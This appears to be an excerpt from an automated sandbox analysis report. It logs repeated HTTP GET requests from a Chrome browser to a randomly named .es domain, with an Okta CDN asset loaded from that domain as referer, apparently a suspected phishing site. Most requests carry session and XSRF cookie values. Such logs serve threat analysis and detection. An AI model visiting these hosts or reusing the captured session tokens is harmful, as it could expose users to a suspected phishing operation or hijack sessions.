laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsANu3SFS4iI8L02ocqhJnUxRIMTrghludnRwalmcU3o0yV9dwT3jfcd200 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghQhE2pqDejp9Y7MdLFFMndvgOCaXawk5VYe2eZxyOT1tgw4UmIfT3vKsPMTBOknFywBmERJ12208 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrQLFV4tBdUNjfGWPIgrlrtVJkYZvnuvG98dl4dyM35aDPMUKaoaJYwhqxOIWgef239 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stBXwT2sbjUayhGwpr3Q9ZyNUZxklYmVVXrORKRzNqS5g672qid6nJr35VzqrtK54MbcUQMef256 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pwprw4n0USvq3YlbR2pqVrkJYJXs9t3TupoZvAT8a9LwBvbs8Wyp05 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqt96TcweYdqnhd0986jX7LXc1HTZ5PIiDfttsiNVCJVe1GjO9sUFkkwx3CloONWr9omO4xu8xXySeD7obeU2oc4DOnpN7rI1BQoscop344 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klbBQk5yHo1GShhrCaUyu3MnfEcdjJd2M8FvkZbk73cpOIuTJ56170 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klovVTyjYIAuDO3HIX5WdEPBuGT4m6DLSD8PJEUXpmrs6jGsg5GNhijAZAjLD83UW1c2mGceDvjoshs2xvbS4i9Uij324 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efi3rk8wIUc9YMdOIaEU8OcmpCn4uvF0kxfeYCgUC9k78143 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxKnBd2Doxv9Z6xVjtUMsnFvUoGusamnwLkP04EiJZf9RJIab175 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsANu3SFS4iI8L02ocqhJnUxRIMTrghludnRwalmcU3o0yV9dwT3jfcd200 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrQLFV4tBdUNjfGWPIgrlrtVJkYZvnuvG98dl4dyM35aDPMUKaoaJYwhqxOIWgef239 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghQhE2pqDejp9Y7MdLFFMndvgOCaXawk5VYe2eZxyOT1tgw4UmIfT3vKsPMTBOknFywBmERJ12208 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
